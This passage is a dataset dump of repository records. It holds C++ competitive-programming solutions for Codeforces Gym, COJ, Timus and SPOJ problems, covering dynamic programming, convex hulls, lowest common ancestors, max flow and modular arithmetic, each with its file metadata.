(int i = 2; i <= k; i++) {\r\n\t\t\tcur ^= 1;\r\n\t\t\tfor (int i = 0; i <= n; i++) {\r\n\t\t\t\tdp[cur][i] = INF;\r\n\t\t\t\tpos[cur][i] = 0;\r\n\t\t\t}\r\n\t\t\tsolve(cur, 1, n, 1, n);\r\n\t\t\tans = min(ans, dp[cur][n]);\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3985655605792999, "alphanum_fraction": 0.44262295961380005, "avg_line_length": 15.82758617401123, "blob_id": "a03f1da69d64d3ef7da821db7cc6ec273d8c5a0b", "content_id": "3af839c30c3a7bd147f41663a917905f33f7211b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 976, "license_type": "no_license", "max_line_length": 58, "num_lines": 58, "path": "/Codeforces-Gym/101246 - 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest\n// 101246E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n, k;\nint l[250][250];\nint r[250];\n\nbool dp[250][250];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\tfreopen(\"input.txt\", \"r\", stdin);\n\tfreopen(\"output.txt\", \"w\", stdout);\n\n\tcin >> n;\n\tfor (int i = 0; i < n; i++) {\n\t\tfor (int j = 0; j < n; j++) {\n\t\t\tcin >> l[i][j];\n\t\t}\n\t}\n\tcin >> k;\n\tfor (int i = 0; i < k; i++) {\n\t\tcin >> r[i];\n\t}\n\tdp[0][0] = true;\n\tfor (int i = 0; i < k; i++) {\n\t\tfor (int j = 0; j < n; j++) {\n\t\t\tif (dp[i][j]) {\n\t\t\t\tfor (int k = 0; k < n; k++) {\n\t\t\t\t\tif (r[i] == l[j][k]) {\n\t\t\t\t\t\tdp[i + 1][k] = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tvector <int> ans;\n\tfor (int i = 0; i < n; i++) {\n\t\tif (dp[k][i]) {\n\t\t\tans.push_back(i + 1);\n\t\t}\n\t}\n\tcout << ans.size() << \"\\n\";\n\tfor (int i = 0; i < ans.size(); i++) {\n\t\tcout << ans[i];\n\t\tif (i + 1 < ans.size()) {\n\t\t\tcout << \" \";\n\t\t}\n\t}\n\tcout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.45115453004837036, "alphanum_fraction": 0.4635879099369049, "avg_line_length": 19.095237731933594, "blob_id": "800fc2b1db8b8359563c9f6825632fa7c712f4ab", "content_id": "646a5d19d01596d9dba5d4c2fb0e28cf3bb5332a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1689, "license_type": "no_license", "max_line_length": 98, "num_lines": 84, "path": "/COJ/Copa-UCI-2018/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct point {\n long long x, y;\n int id;\n point(long long _x = 0, long long _y = 0) : x(_x), y(_y) {}\n};\n\npoint operator + (const point & P, const point & Q) {\n return point(P.x + Q.x, P.y + Q.y);\n}\n\npoint operator - (const point & P, const point & Q) {\n return point(P.x - Q.x, P.y - Q.y);\n}\n\npoint operator * (const point & P, long long k) {\n return point(P.x * k, P.y * k);\n}\n\nlong long dot(const point & P, const point & Q) {\n return P.x * Q.x + P.y * Q.y;\n}\n\nlong long cross(const point & P, const point & Q) {\n return P.x * Q.y - P.y * Q.x;\n}\n\nbool operator < (const point & P, const point & Q) {\n if (P.x != Q.x) {\n return P.x < Q.x;\n }\n return P.y > Q.y;\n}\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n cout.precision(3);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n int n;\n cin >> n;\n\n vector <point> pts(n);\n\n for (int i = 0; i < n; i++) {\n cin >> pts[i].x >> pts[i].y;\n pts[i].id = i + 1;\n }\n\n sort(pts.begin(), pts.end());\n\n vector <point> hull(n);\n int top = 0;\n\n for (int i = n - 1; i >= 0; i--) {\n while (top > 1 && cross(hull[top - 1] - hull[top - 2], pts[i] - hull[top - 2]) < 0) {\n top--;\n }\n hull[top++] = pts[i];\n }\n\n int last = 0;\n while (last + 1 < top && hull[last + 1].x + hull[last + 1].y >= hull[last].x + hull[last].y) {\n last++;\n }\n\n vector <int> ans(last + 1);\n for (int i = 0; i <= last; i++) {\n ans[i] = hull[i].id;\n }\n\n sort(ans.begin(), ans.end());\n\n cout << ans.size() << \"\\n\";\n for (auto x : ans) {\n cout << x << \"\\n\";\n }\n}\n\n" }, { "alpha_fraction": 0.3977086842060089, "alphanum_fraction": 0.4353518784046173, "avg_line_length": 14.666666984558105, "blob_id": "0f3162708fab6102b0b09b0f4977f15db86e39f8", "content_id": "8a3f5885be6b257aecfd60ffa9cf5de1cb7a48ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 611, "license_type": "no_license", "max_line_length": 37, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p4008-Accepted-s1228702.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int M = 1000 * 1000 * 1000 + 7;\n\ninline int mul(int a, int b) {\n return (long long)a * b % M;\n}\n\ninline int power(int x, int n) {\n int y = 1;\n while (n) {\n if (n & 1) {\n y = mul(y, x);\n }\n x = mul(x, x);\n n >>= 1;\n }\n return y;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n long long n;\n cin >> n;\n\n n %= M;\n\n int ans = n;\n ans = mul(ans, n + 1);\n ans = mul(ans, n + 1);\n ans = mul(ans, n + 2);\n ans = mul(ans, power(12, M - 2));\n\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.35879120230674744, "alphanum_fraction": 0.3766483664512634, "avg_line_length": 19.449438095092773, "blob_id": "41fe46040e885d7980215ed17ec35e66d74cf98a", "content_id": "80e6d022c6a3b95dd90a270cf5773eab7e67cdb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3640, "license_type": "no_license", "max_line_length": 100, "num_lines": 178, "path": "/Codeforces-Gym/101630 - 2017-2018 ACM-ICPC Northern Eurasia (Northeastern European Regional) Contest (NEERC 17)/L.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Northern Eurasia (Northeastern European Regional) Contest (NEERC 17)\n// 101630L\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\nconst int MAXLG = 25;\nvector<int> g[MAXN];\nvector<int> tson[MAXN];\nint p[MAXN][MAXLG];\nint lev[MAXN];\nint tin[MAXN];\n\nvoid dfs( int u, int &t ){\n tin[u] = ++t;\n for( int i = 0; i < g[u].size(); i++ ){\n if( g[u][i] == p[u][0] ){\n swap( g[u][i] , g[u][ g[u].size()-1 ] );\n break;\n }\n }\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n if( v != p[u][0] ){\n p[v][0] = u;\n lev[v] = lev[u] + 1;\n dfs(v,t);\n }\n }\n\n for( auto v : g[u] ){\n if( v != p[u][0] ){\n tson[u].push_back( tin[v] );\n }\n }\n}\n\nint LCA( int u, int v ){\n if( lev[u] < lev[v] ) swap( u , v );\n\n for( int i = MAXLG-1; i >= 0; i-- ){\n if( lev[ p[u][i] ] >= lev[v] ){\n u = p[u][i];\n }\n }\n\n if( u == v ) return u;\n for( int i = MAXLG-1; i >=0 ; i-- ){\n if( p[u][i] != p[v][i] ){\n u = p[u][i];\n v = p[v][i];\n }\n }\n\n return p[u][0];\n}\n\nint dist( int u, int v ){\n int lca = LCA( u , v );\n return lev[u] + lev[v] - 2*lev[lca];\n}\n\nint go( int u, int v ){\n if( u == v ) return u;\n int lca = LCA( u , v );\n\n if( lca != u ){\n return p[u][0];\n }\n\n int p = upper_bound( tson[u].begin() , tson[u].end() , tin[v] ) - tson[u].begin();\n p--;\n\n return g[u][p];\n}\n\ntypedef pair<int,int> par;\ntypedef pair<int,par> kk;\n\nint mk[MAXN];\nint parent[MAXN];\nint a[MAXN], b[MAXN];\n\nint ady( int e, int u ){\n return (a[e] == u ? b[e] : a[e]);\n}\n\nbool ext( int e, int u ){\n return (a[e] == u || b[e] == u);\n}\n\nbool contiene( int E, int e ){\n return dist( a[E] , a[e] ) + dist( a[e] , b[e] ) + dist( b[e] , b[E] ) == dist( a[E] , b[E] ) ||\n dist( b[E] , a[e] ) + dist( a[e] , b[e] ) + dist( b[e] , a[E] ) == dist( a[E] , b[E] );\n}\n\nbool ok( int &u, int &v, int i ){\n if( mk[u] ){\n if( !ext( mk[u] , u ) ){\n return false;\n }\n if( parent[ mk[u] ] && parent[ mk[u] ] != i+1 && parent[ mk[u] ] != mk[u] ){\n return false;\n }\n if( !contiene( i+1 , mk[u] ) ){\n return false;\n }\n parent[ mk[u] ] = i+1;\n u = go( ady( mk[u] , u ) , v );\n }\n else{\n mk[u] = i+1;\n parent[ mk[u] ] = i+1;\n u = go( u , v );\n }\n\n return true;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, f; cin >> n >> f;\n\n for( int i = 0; i+1 < n; i++ ){\n int u, v; cin >> u >> v;\n g[u].push_back(v);\n g[v].push_back(u);\n }\n\n lev[1] = 1;\n int t = 0;\n dfs(1,t);\n\n for( int i = 1; i < MAXLG; i++ ){\n for( int u = 1; u <= n; u++ ){\n p[u][i] = p[ p[u][i-1] ][i-1];\n }\n }\n\n vector<kk> x;\n for( int i = 0; i < f; i++ ){\n int u, v; cin >> u >> v;\n x.push_back( kk( dist(u,v) , par( u , v ) ) );\n }\n\n sort( x.begin() , x.end() );\n\n for( int i = 0; i < x.size(); i++ ){\n int u = x[i].second.first;\n int v = x[i].second.second;\n int len = x[i].first;\n\n a[i+1] = u;\n b[i+1] = v;\n\n while( u != v ){\n if( !ok( u , v , i ) ){\n cout << \"No\\n\";\n return 0;\n }\n }\n\n if( !ok( u , v , i ) ){\n cout << \"No\\n\";\n return 0;\n }\n\n mk[ a[i+1] ] = mk[ b[i+1] ] = i+1;\n }\n\n cout << \"Yes\\n\";\n}\n" }, { "alpha_fraction": 0.39673912525177, "alphanum_fraction": 0.4334239065647125, "avg_line_length": 17.891891479492188, "blob_id": "e555a7102e1ae949d31642e9a1f8545be35e02d2", "content_id": "13a6889f3ecabac3e7f2c28ea3622e2611521dbe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 736, "license_type": "no_license", "max_line_length": 44, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p1881-Accepted-s659336.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1005;\r\n\r\nint tc, n, s, v[MAXN];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n >> s;\r\n\t\tint tmp = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> v[i];\r\n\t\t\ttmp += v[i];\r\n\t\t}\r\n\t\tif (tmp / 10 > s) cout << \"-1\\n\";\r\n\t\telse if (tmp <= s) cout << \"0\\n\";\r\n\t\telse {\r\n\t\t\tint lo = 0, hi = 100000, mid, val, sol;\r\n\t\t\twhile (lo + 1 < hi) {\r\n\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\tval = 0;\r\n\t\t\t\tfor (int i = 0; i < n; i++)\r\n\t\t\t\t\tval += max(v[i] - 10 * mid, v[i] / 10);\r\n\t\t\t\tif (val <= s) sol = hi = mid;\r\n\t\t\t\telse lo = mid;\r\n\t\t\t}\r\n\t\t\tcout << sol << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37019485235214233, "alphanum_fraction": 0.43496575951576233, "avg_line_length": 17.989473342895508, "blob_id": "6ead214a6fb890548f65b14570a821bb6bb12c4c", "content_id": "27c9968087176ced4ea97e84511b9a3a953359a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1899, "license_type": "no_license", "max_line_length": 71, "num_lines": 95, "path": "/COJ/eliogovea-cojAC/eliogovea-p3000-Accepted-s680166.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <cstdio>\r\n#include <cstring>\r\n#include <algorithm>\r\n#include <stack>\r\n#include <queue>\r\n#include <map>\r\n#include <set>\r\n#include <cmath>\r\n#include <sstream>\r\n\r\nusing namespace std;\r\n\r\nstruct pt {\r\n\tdouble x, y;\r\n\tpt() {}\r\n\tpt(double a, double b) : x(a), y(b) {}\r\n} p1, p2;\r\n\r\nstruct line {\r\n\tdouble a, b, c;\r\n\tline() {}\r\n\tline(pt p1, pt p2) {\r\n\t\tif (p1.x == p2.x) {\r\n\t\t\ta = 1.0;\r\n\t\t\tb = 0.0;\r\n\t\t\tc = -p1.x;\r\n\t\t}\r\n\t\telse if (p1.y == p2.y) {\r\n\t\t\ta = 0.0;\r\n\t\t\tb = 1.0;\r\n\t\t\tc = -p1.y;\r\n\t\t}\r\n\t\telse {\r\n\r\n\t\t double dx = p1.x - p2.x;\r\n\t\t double dy = p1.y - p2.y;\r\n\r\n\t\t a = -dy;\r\n\t\t b = dx;\r\n\t\t c = -dx * p1.y + dy * p1.x;\r\n\t\t}\r\n\t}\r\n} l1, l2;\r\n\r\n\r\nconst double c = 100.0;\r\n\r\nline form(int x, int y, int a) {\r\n\tline l;\r\n\tif (a == 0 || a == 180) {\r\n\t\tl.a = 1.0; l.b = 0.0; l.c = -x;\r\n\t}\r\n\telse if (a == 90 || a == 270) {\r\n\t\tl.a = 0.0; l.b = 1.0; l.c = -y;\r\n\t}\r\n\telse if (a > 0 && a < 90) {\r\n\t\tl = line(pt(x, y), pt(x + c * tan(M_PI * double(a) / 180.0), y + c));\r\n\t}\r\n\telse if (a > 90 && a < 180) {\r\n\t\ta = 180 - a;\r\n\t\tl = line(pt(x, y), pt(x + c * tan(M_PI * double(a) / 180.0), y - c));\r\n\t}\r\n\telse if (a > 180 && a < 270) {\r\n\t\ta -= 180;\r\n\t\tl = line(pt(x, y), pt(x - c * tan(M_PI * double(a) / 180.0), y - c));\r\n\t}\r\n\telse {\r\n\t\ta = 360 - a;\r\n\t\tl = line(pt(x, y), pt(x - c * tan(M_PI * double(a) / 180.0), y + c));\r\n\t}\r\n\treturn l;\r\n}\r\n\r\npt intersect(line l1, line l2) {\r\n\tpt p;\r\n\tp.x = (-l1.c * l2.b + l2.c * l1.b) / (l1.a * l2.b - l2.a * l1.b);\r\n\tp.y = (-l2.c * l1.a + l2.a * l1.c) / (l1.a * l2.b - l2.a * l1.b);\r\n\treturn p;\r\n}\r\n\r\nint tc, a1, a2;\r\n\r\nint main() { //freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> p1.x >> p1.y >> a1 >> p2.x >> p2.y >> a2;\r\n\t\tl1 = form(p1.x, p1.y, a1);\r\n\t\tl2 = form(p2.x, p2.y, a2);\r\n\t\tpt p = intersect(l1, l2);\r\n\t\tcout.precision(4);\r\n\t\tcout << fixed << p.x << \" \" << p.y << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.33230769634246826, "alphanum_fraction": 0.4307692348957062, "avg_line_length": 13.476190567016602, "blob_id": "adb24eb7171dfaeb35ca80a79107f0e4334f4ac6", "content_id": "af870d23f879ce1a819c805b9ddd4b2d8f8bca73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 325, "license_type": "no_license", "max_line_length": 36, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p1558-Accepted-s516402.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nconst int MOD = 1000000007;\r\n\r\nint c,n;\r\nlong long dp[1000001];\r\n\r\nint main()\r\n{\r\n dp[0]=1;\r\n dp[1]=2;\r\n for(int i=2; i<=1000000; i++)\r\n dp[i]=(dp[i-1]+dp[i-2])%MOD;\r\n\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%d\",&n);\r\n printf(\"%lld\\n\",dp[n]);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.33563217520713806, "alphanum_fraction": 0.3770115077495575, "avg_line_length": 12.032258033752441, "blob_id": "373e23e8ea9970897f7b45e39332b60e455b5e2a", "content_id": "a700d366bc6d447dda3c1eeebe939a7e1776ab81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 435, "license_type": "no_license", "max_line_length": 40, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p2091-Accepted-s483039.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstring>\r\nusing namespace std;\r\n\r\nbool b[123];\r\nchar a[10000];\r\nint c,ans;\r\n\r\nint main()\r\n{\r\n cin >> c;\r\n\r\n while(c--)\r\n {\r\n cin >> a;\r\n\r\n int l=strlen(a);\r\n\r\n for(int i=0; i<l; i++)b[a[i]]=1;\r\n\r\n for(int i=48; i<=122; i++)\r\n {\r\n if(b[i])ans++;\r\n b[i]=0;\r\n }\r\n cout << ans << endl;\r\n ans=0;\r\n }\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4292168617248535, "alphanum_fraction": 0.46536144614219666, "avg_line_length": 12.279999732971191, "blob_id": "ef04a48fc3eb995cf6c2f12688cf64747996b7d3", "content_id": "441ed387efbc265c75e41008d4461e86a429f7c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 664, "license_type": "no_license", "max_line_length": 46, "num_lines": 50, "path": "/Caribbean-Training-Camp-2018/Contest_3/Solutions/D3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int M = 1000 * 1000 * 1000 + 7;\n\ninline void add(int & a, int b) {\n\ta += b;\n\tif (a >= M) {\n\t\ta -= M;\n\t}\n}\n\ninline int mul(int a, int b) {\n\treturn (long long)a * b % M;\n}\n\ninline int power(int x, int n) {\n\tint y = 1;\n\twhile (n) {\n\t\tif (n & 1) {\n\t\t\ty = mul(y, x);\n\t\t}\n\t\tx = mul(x, x);\n\t\tn >>= 1;\n\t}\n\treturn y;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tint n;\n\tcin >> n;\n\n\tvector <int> a(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> a[i];\n\t}\n\n\tint s = 0;\n\tint ans = 1;\n\tfor (int i = 0; i < n; i++) {\n\t\tadd(s, a[i] + 1);\n\t\tans = mul(ans, mul(i + 1, power(s, M - 2)));\n\t}\n\n\tcout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3352883756160736, "alphanum_fraction": 0.37732160091400146, "avg_line_length": 15.637930870056152, "blob_id": "3635ae155c84d2a3dfb48a8c21c724768bebc4e5", "content_id": "06cbf30d8688244cad99f25ed6e11a789c280a94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1023, "license_type": "no_license", "max_line_length": 55, "num_lines": 58, "path": "/COJ/eliogovea-cojAC/eliogovea-p3710-Accepted-s1009526.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double EPS = 1e-9;\r\n\r\nconst int N = 1005;\r\n\r\nint t, a, b;\r\ndouble line[N];\r\ndouble v[N];\r\n\r\nint s[N];\r\n\r\nbool cmp(int x, int y) {\r\n\treturn v[x] > v[y];\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> a >> b;\r\n\t\tfor (int i = 0; i < a; i++) {\r\n\t\t\tv[i] = 0.0;\r\n\t\t}\r\n\t\tdouble T = 0.0;\r\n\t\tfor (int i = 0; i < b; i++) {\r\n\t\t\tfor (int j = 0; j < a; j++) {\r\n\t\t\t\tcin >> line[j];\r\n\t\t\t\tline[j] /= 100.0;\r\n\t\t\t}\r\n\t\t\tdouble tv;\r\n\t\t\tcin >> tv;\r\n\t\t\tfor (int j = 0; j < a; j++) {\r\n\t\t\t\tv[j] += tv * line[j];\r\n\t\t\t}\r\n\t\t\tT += tv;\r\n\t\t}\r\n\t\tfor (int i = 0; i < a; i++) {\r\n\t\t\ts[i] = i;\r\n\t\t}\r\n\t\tsort(s, s + a, cmp);\r\n\r\n\t\tint w1 = s[0];\r\n\t\tif (v[w1] * 1000.0 > 501.0 * T + EPS) {\r\n\t\t\tcout << w1 + 1 << \" \" << (int)(v[w1] + EPS) << \"\\n\";\r\n\t\t} else {\r\n\t\t\tint w2 = s[1];\r\n\t\t\tcout << w1 + 1 << \" \" << (int)(v[w1] + EPS) << \"\\n\";\r\n\t\t\tcout << w2 + 1 << \" \" << (int)(v[w2] + EPS) << \"\\n\";\r\n\t\t}\r\n\t\tif (t) {\r\n cout << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4017467200756073, "alphanum_fraction": 0.43668121099472046, "avg_line_length": 13.266666412353516, "blob_id": "911cf87338eb5622ce284e2d10d9fa4833d656b9", "content_id": "36a2b3621d99f7583f9c55a8913406fe549fd3d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 229, "license_type": "no_license", "max_line_length": 53, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2199-Accepted-s515932.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint c,n;\r\ndouble r,d[11];\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%lf%d\",&r,&n);\r\n printf(\"%.4lf\\n\",2.0*r*sin(M_PI/pow(2.0,n)));\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.2917459011077881, "alphanum_fraction": 0.30581969022750854, "avg_line_length": 20.860870361328125, "blob_id": "17fb862e4e366ecac518621ac06204da11b64234", "content_id": "00c2bd8d5e088bf17e41859372fb84e0a9223eeb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2629, "license_type": "no_license", "max_line_length": 73, "num_lines": 115, "path": "/COJ/eliogovea-cojAC/eliogovea-p2461-Accepted-s925035.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10005;\r\n\r\nstring s[N];\r\nint n;\r\n\r\nint ady[N], cap[N], flow[N], nxt[N], last[N], now[N];\r\n\r\nint E;\r\n\r\ninline void add(int a, int b, int c) {\r\n ady[E] = b; cap[E] = c; flow[E] = 0; nxt[E] = last[a]; last[a] = E++;\r\n ady[E] = a; cap[E] = c; flow[E] = 0; nxt[E] = last[b]; last[b] = E++;\r\n}\r\n\r\nint lev[N];\r\n\r\nqueue <int> Q;\r\n\r\nint source, sink;\r\n\r\nbool bfs() {\r\n for (int i = 0; i < n; i++) {\r\n lev[i] = -1;\r\n }\r\n lev[source] = 0;\r\n Q.push(source);\r\n while (!Q.empty()) {\r\n int u = Q.front();\r\n Q.pop();\r\n for (int e = last[u]; e != -1; e = nxt[e]) {\r\n if (cap[e] > flow[e]) {\r\n int v = ady[e];\r\n if (cap[e] > flow[e]) {\r\n if (lev[v] == -1) {\r\n lev[v] = lev[u] + 1;\r\n Q.push(v);\r\n }\r\n }\r\n }\r\n\r\n }\r\n }\r\n return (lev[sink] != -1);\r\n}\r\n\r\nint dfs(int u, int f) {\r\n if (u == sink) {\r\n return f;\r\n }\r\n for (int e = now[u]; e != -1; e = now[u] = nxt[e]) {\r\n if (cap[e] > flow[e]) {\r\n int v = ady[e];\r\n if (lev[v] == lev[u] + 1) {\r\n int ff = min(f, cap[e] - flow[e]);\r\n int res = dfs(v, ff);\r\n if (res > 0) {\r\n flow[e] += res;\r\n flow[e ^ 1] -= res;\r\n return res;\r\n }\r\n }\r\n }\r\n }\r\n return 0;\r\n}\r\n\r\nint maxflow() {\r\n int res = 0;\r\n while (bfs()) {\r\n for (int i = 0; i < n; i++) {\r\n now[i] = last[i];\r\n }\r\n while (true) {\r\n int tmp = dfs(source, 1e7);\r\n if (tmp == 0) {\r\n break;\r\n }\r\n res += tmp;\r\n }\r\n }\r\n return res;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n while (cin >> s[0]) {\r\n n = s[0].size();\r\n for (int i = 1; i < n; i++) {\r\n cin >> s[i];\r\n }\r\n int ans = 0;\r\n for (sink = 1; sink < n; sink++) {\r\n E = 0;\r\n for (int i = 0; i < n; i++) {\r\n last[i] = -1;\r\n }\r\n for (int i = 0; i < n; i++) {\r\n for (int j = 0; j < i; j++) {\r\n add(i, j, s[i][j] - '0');\r\n }\r\n }\r\n int x = maxflow();\r\n if (sink == 1 || x < ans) {\r\n ans = x;\r\n }\r\n }\r\n cout << ans << \"\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4571428596973419, "alphanum_fraction": 0.4739130437374115, "avg_line_length": 14.628866195678711, "blob_id": "ffe72b5e23bf106a2caae690c7881fe10a890d3e", "content_id": "4a529f5033c3bc2b2cd259d7f683058b416665c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1610, "license_type": "no_license", "max_line_length": 58, "num_lines": 97, "path": "/Timus/1471-7217654.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1471\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 50005;\r\nconst int Q = 75005;\r\n\r\nint n;\r\nvector <pair <int, int> > g[N];\r\n\r\nbool visited[N];\r\n\r\nint nq;\r\nint a[Q], b[Q];\r\nint lca[Q];\r\nvector <int> q[Q];\r\n\r\nint leader[N];\r\nint ancestor[N];\r\n\r\ninline int findLeader(int u) {\r\n\tif (leader[u] != u) {\r\n\t\tleader[u] = findLeader(leader[u]);\r\n\t}\r\n\treturn leader[u];\r\n}\r\n\r\ninline void unite(int u, int v, int _ancestor) {\r\n\tu = findLeader(u);\r\n\tv = findLeader(v);\r\n\tif (rand() & 1) {\r\n\t\tswap(u, v);\r\n\t}\r\n\tleader[u] = v;\r\n\tancestor[v] = _ancestor;\r\n}\r\n\r\nint dist[N];\r\n\r\nvoid dfs(int u, int p, int d) {\r\n\tvisited[u] = true;\r\n\tleader[u] = u;\r\n\tancestor[u] = u;\r\n\tdist[u] = d;\r\n\r\n\tfor (int i = 0; i < q[u].size(); i++) {\r\n\t\tint id = q[u][i];\r\n\t\tint v;\r\n\t\tif (a[id] == u) {\r\n\t\t\tv = b[id];\r\n\t\t} else {\r\n\t\t\tv = a[id];\r\n\t\t}\r\n\t\tif (visited[v]) {\r\n\t\t\tlca[id] = ancestor[findLeader(v)];\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i].first;\r\n\t\tif (v == p) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tdfs(v, u, d + g[u][i].second);\r\n\t\tunite(v, u, u);\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n - 1; i++) {\r\n\t\tint u, v, d;\r\n\t\tcin >> u >> v >> d;\r\n\t\tg[u].push_back(make_pair(v, d));\r\n\t\tg[v].push_back(make_pair(u, d));\r\n\t}\r\n\r\n\tcin >> nq;\r\n\tfor (int i = 0; i < nq; i++) {\r\n\t\tcin >> a[i] >> b[i];\r\n\t\tq[a[i]].push_back(i);\r\n\t\tq[b[i]].push_back(i);\r\n\t}\r\n\r\n\tdfs(0, -1, 0);\r\n\r\n\tfor (int i = 0; i < nq; i++) {\r\n\t\tint answer = dist[a[i]] + dist[b[i]] - 2 * dist[lca[i]];\r\n\t\tcout << answer << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.42260870337486267, "alphanum_fraction": 0.44260868430137634, "avg_line_length": 14.958333015441895, "blob_id": "b1ba5b7ea9fa3ebedb40047964bbb4a18c4e267d", "content_id": "5a2aa57ed5170e2c198c8f3788e8b2710d21e893", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1150, "license_type": "no_license", "max_line_length": 81, "num_lines": 72, "path": "/SPOJ/KQUERY.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing 